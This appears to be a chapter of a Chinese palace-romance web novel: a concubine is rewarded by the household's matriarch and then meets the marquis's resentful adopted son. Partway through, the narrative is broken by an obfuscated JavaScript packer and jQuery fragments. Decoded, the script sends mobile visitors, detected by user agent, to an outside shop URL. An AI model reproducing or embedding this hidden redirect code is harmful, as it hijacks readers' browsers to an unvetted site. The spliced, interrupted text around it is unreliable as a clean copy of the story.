一连几日,傅晋庭夜夜传容姒入房中,直到夜半时分才出来。
清澜院虽人员简单,消息仍是漏了出去,府中上下皆知,侯爷养了个美人,夜夜宠着离不得。
太康长公主自然也知道,狭长凤眸微眯着,声音中带了一丝兴味。
“去把她带过来。”
该来的总是会来,容姒深吸口气,整理一番衣妆,跟随引路的侍女来到嘉乐堂。
嘉乐堂位于长公主府中轴线上,一路行来,雕梁画栋,金碧辉煌,尽显皇家气派。
“见过老夫人。”容姒恭敬行礼。
太康长公主身穿湖蓝色八宝团纹织金锦褙子,头戴金镶宝牡丹头面,雍容华贵,懒懒倚坐,听见声响,微微阖着的眼眸睁开一丝缝。
“好孩子,过来。”声音温柔似水。
容姒心尖一颤,镇定地缓步向前,在太康长公主柔和的目光中,缓缓跪倒在她膝下。
冰凉的指尖抬起她的下巴,审视的目光在脸上逡巡,冰凉指尖往上,掠过她那双妩媚含情的桃花眼。
容姒手臂上泛起一层鸡皮疙瘩,生怕那尖尖的指甲,一不小心划破她的脸。
好在,太康长公主端详片刻,放开了她。
她似乎心情不错,微眯着眼,吩咐身旁的赵嬷嬷:
“赏。”
容姒忙拜倒,受宠若惊:“老夫人——”
“你做得很不错,继续勾引他,早日为我生个孙子。”
太康长公主悠闲地吹吹冒着热气的茶水。
‘勾引’一词,也太直白了些,果然不同寻常人家的老夫人……容姒垂着眉眼,细声回:
“多谢老夫人,伺候侯爷是容姒的本分,容姒定会尽心尽力的。”
赵嬷嬷把一个红托盘端了上来,容姒忙又谢过,抬眸瞬间猝不及防对上太康长公主狭长凤眸——
太康深深看她一眼,意味深长道:
“你是应该尽力。听说你夜半会离开,我看往后便不必走了。”
容姒睫毛轻颤垂下眼帘,太康长公主的目光太锐利,仿佛能穿透人心,看透她深深隐藏的心思。
不过,她说这话的意思……容姒试探着抬眸,同她撞了撞眼神,太康长公主笑着颔首。
容姒缓缓地也绽放出一个明媚笑容。
她懂了,勾引傅晋庭这件事上,太康长公主愿意为她撑腰。
必要时刻,可以借借太康长公主的名头。
“多谢老夫人。”
容姒深深一拜,带着赏赐告辞。
她走后,太康长公主神色淡下来,懒懒地吩咐赵嬷嬷。
“去多寻几个美人来,男人一旦开了荤,便忍不住要偷腥。”
“是。”
赵嬷嬷应声,眼神却有些犹疑。
“老夫人,奴婢有句话不知该不该说。”
太康睨她一眼。
赵嬷嬷:“老夫人,您觉得,侯爷这么多年不娶妻,会不会是心里还念着那位?”
太康长公主眯起眸子,不耐道,“你个老东西,还给我卖关子,有话直说。”
赵嬷嬷压低声音讳莫如深地道:
“当年侯爷从战场上回来,受伤颇重,执意同叶姑娘退了亲,叶姑娘便嫁给越王成了越王妃,后来侯爷好了,这么多年却拒绝成亲,老夫人,您说会不会,侯爷对那叶姑娘还……”
“若是念着她,为何又要退婚?”太康长公主觉得不像,可到底入了心,神情若有所思。
.
容姒自嘉乐堂出来,颠了颠太康长公主给的赏赐,红布包着一个木匣子,晃一晃,里头有沉甸甸的东西滚来滚去。
容姒眼眸一亮,该不会是……打开一瞧,果然是明晃晃的金锭。
老夫人,真实在。
容姒心里满意,若是赏其他镯子首饰之类的,她还得自己去换成金银,直接给金子倒是干脆。
容姒财迷样的将匣子重新盖好,抱在怀里,脚步轻快。
一路上,没了领路的侍女,她倒是乐得自在,正好借机熟悉一番长公主府,是以,脚步慢下来,四处打量,暗自将建筑布局记在心中。
长公主府占地颇大,清澜院位于中轴线东侧,环境幽静,走了约莫两刻钟,容姒才回到清澜院。
远远地,她瞧见有个小男孩扒在院门口,探出一个脑袋往里瞅,鬼鬼祟祟的。
他约莫五岁大小,身穿白地襕衫,头戴四方平定巾,脚踩粉底皂靴,一副小书生的打扮。
容姒心中一动,走过去柔声问:
“小公子,你在找谁?”
傅铭生吓了一跳,小身板往后退几步,明明有些心虚,却努力板着一张脸,眉头皱得紧紧的,神情十分严肃。
“你是谁?”
容姒笑笑,举举手中揣的赏赐之物:“我是来这边送东西的。”
傅铭生小大人般‘哦’一声,点点头。
“不错。”
说罢,迟疑几息,矜持地问:
“院里是不是来了个狐媚子?”
他小脸蛋还嘟着婴儿肥,一本正经地说这话,恐怕根本不懂什么是‘狐媚子’,容姒没忍住差点笑出声来。
“小公子是听谁说的‘狐媚子’?”
傅铭生眉头拧得紧紧的,想起昨日,他路过假山时,听几个丫鬟笑笑闹闹说什么‘新来了个狐媚子,侯爷夜夜宠着离不得’。
父亲平日都不常与自己见面,竟然夜夜都离不得那个狐媚子,傅铭生心中就很不高兴。
他板着脸,小小年纪就很有气势:“问你话你就答。”
容姒暗自好笑,早已猜出来眼前这小公子,恐怕就是傅晋庭的养子傅铭生。
她眼珠转了转,道:
“回小公子,院里没有狐媚子,侯爷今日休沐,这会儿应该在书房,小公子不如同我进去坐坐?”
傅铭生有些意动,父亲喜静,不喜打扰,平日里也教他要懂事自立,别人家的小孩子这个年纪会撒娇耍宝,他不会。
但他想亲近父亲,乌溜溜的葡萄眼儿中露出渴望。
容姒露出一个笑容,拉着他的手走进庭院。
这个女人竟然敢拉他的手,傅铭生挣了挣,没挣开,抿抿唇,任由小手被女子温凉的手掌握住。
书房的窗扇开着,傅晋庭身穿竹青色折枝梅纹道袍,头戴东坡巾,正襟坐在书案前凝神看书。
窗外阳光明媚,几句说话声大了些,和着微风吹进来,有些烦扰,他蹙眉,脸上现出几分不耐。
什么人这么没规矩。
庭院中的石桌前,身量窈窕的女子狡黠笑着,小男孩气鼓鼓地嘟着嘴,忿忿不平:
“好啊,你竟敢骗我,原来你便是那个狐媚子!”
西瓜尴尬地摊摊手,“容姑娘,你没告诉铭哥儿你的身份?”
容姒无奈笑笑
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17743829|209175||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,“我总不能说我便是那个‘狐媚子’吧。”
本想再逗逗他,谁料一进门就被西瓜给拆穿了。
“哼,就是你这个狐媚子,霸占父亲——”
“铭生。”
小男孩的话音未落,身后傅晋庭的声音沉沉响起,他冷着一张脸,眉头紧紧皱着。
父子俩长得不像,这皱得能夹死苍蝇的眉头,倒是相似得很。
傅铭生素来对父亲又敬又怕,见父亲这么冷,一张小脸委屈得快要哭出来,偏偏强忍住,抿着唇板着脸,作出一副宁死不屈的模样。
傅晋庭沉声道:“你的书都读到哪去了?张口闭口污言秽语,有辱斯文,若是被你夫子听见,你还有脸去求学?”
傅铭生虽只五岁,傅晋庭已为他寻了大儒名师教导。
这话太严厉,傅铭生犟着一张脸,泪珠子却忍不住落了下来,一串连着一串,好不可怜。
容姒拿出帕子,想为他擦擦,谁知帕子被他打落在地,傅铭生瞪她一眼,扭头就往外跑。
“——都怪你这个狐媚子!”
容姒的手尴尬地停留在半空,面色涨红着垂下眼眸,似乎是‘狐媚子’这个称呼让她无地自容。
傅晋庭瞥她一眼,‘房里事’竟被儿子这样说出来,他心中确实不悦,面色愈发冷沉。
“侯爷,我去追铭哥儿,向他解释清楚,侯爷待我,并非是那样的……”
容姒低着头喃喃说出这几句话,不待他回,转身便跑了出去。
一个二个的都跑了,傅晋庭望着还杵在一旁的西瓜,冷声吩咐:
“去查清楚是哪些个爱嚼舌根的,通通赶出去。”
儿子年纪还小,定是听人闲话挑唆,傅晋庭虽生气,也不会全怪在儿子身上。
容姒追到傅铭生的时候,他正躲在一座假山当中,山洞狭小又黑乎乎的,若不是容姒眼尖一路跟过来,还真寻不到他。
他蹲在黑黢黢的山洞中,小身子蜷缩成一团,默默地掉眼泪,好不可怜。
容姒对外向来冷硬的心,都柔软了一瞬。
当年弟弟离开时,也比他大不了几岁。
她矮身钻进小山洞中,蹲下来双手抱膝,两个人隔着一段距离,互不打扰,安安静静的,只听得见小男孩偶尔低弱的啜泣声。
不知过了多久,忽有脚步声响起,接着是丫鬟们的喊声。
“铭哥儿,铭哥儿,你在哪儿?”
容姒还未出声,一只小手倏地紧紧捂住她的口。
“嘘,别说话。”傅铭生凶巴巴地威胁。
容姒眨眨眼,点头。
丫鬟们没寻着人,站在附近歇歇脚,有人埋怨:
“铭哥儿也真是的,一不高兴便喜欢躲起来,他自己倒是清静,连累咱们跑断腿四处寻。”
“就是就是,听说啊,他今日是被侯爷赶出院子的,估计伤心得不得了。”
“唉,到底不是亲生的,也是可怜。”
容姒就发现捂住自己口的小手松开了,小男孩嘴一瘪,刚刚止住的眼泪又珠串一般落下。
丫鬟们说完闲话便走了,却把小孩子的心伤得不轻。
他哭得上气不接下气,抽泣着问:“我真的不是父亲亲生的?父亲真的不喜欢我?”
容姒无言,半晌,等他稍微平复,她道:
“你父亲当然是喜欢你的,不信,我帮你想个法子证明如何?”